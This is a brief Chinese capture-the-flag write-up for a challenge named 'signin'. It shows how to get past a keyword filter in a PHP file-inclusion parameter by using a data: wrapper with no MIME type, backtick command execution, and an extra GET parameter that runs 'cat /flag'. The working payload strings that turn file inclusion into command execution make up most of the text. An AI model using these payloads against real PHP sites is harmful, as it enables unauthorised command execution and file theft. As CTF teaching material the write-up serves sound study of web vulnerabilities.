signin
1 |
|
给了waf,说不能用/,convert,base,text,plain
filter伪协议算是用不了了,然把目光放到data伪协议,data伪协议可以省略MIME类型,可以不需要//text/plain
也就是正常写的话是data://text/plain;base64,<?php system("ls"); 这里可以直接写成data:,<?php system("ls");
但是又要考虑到长度限制问题,system超过长度了,选择用反引号执行命令,这样是最短的,
所以初步的payload是?file=data:,%3C%3F%3D%60ls%60%3F%3E
这里%3C%3F%3D是<?=,%60是反引号,%3F%3E是?>*
也就是
1 | data:,`ls` |
然后发现当前目录只有index.php,flag.php在根目录,根目录又涉及到/的黑名单

所以想到再去构造一个参数,用于执行cat /flag这个命令,所以改进一下payload就是
1 | ?file=data:,`$_GET[1]`;&1=cat /flag |
正好符合要求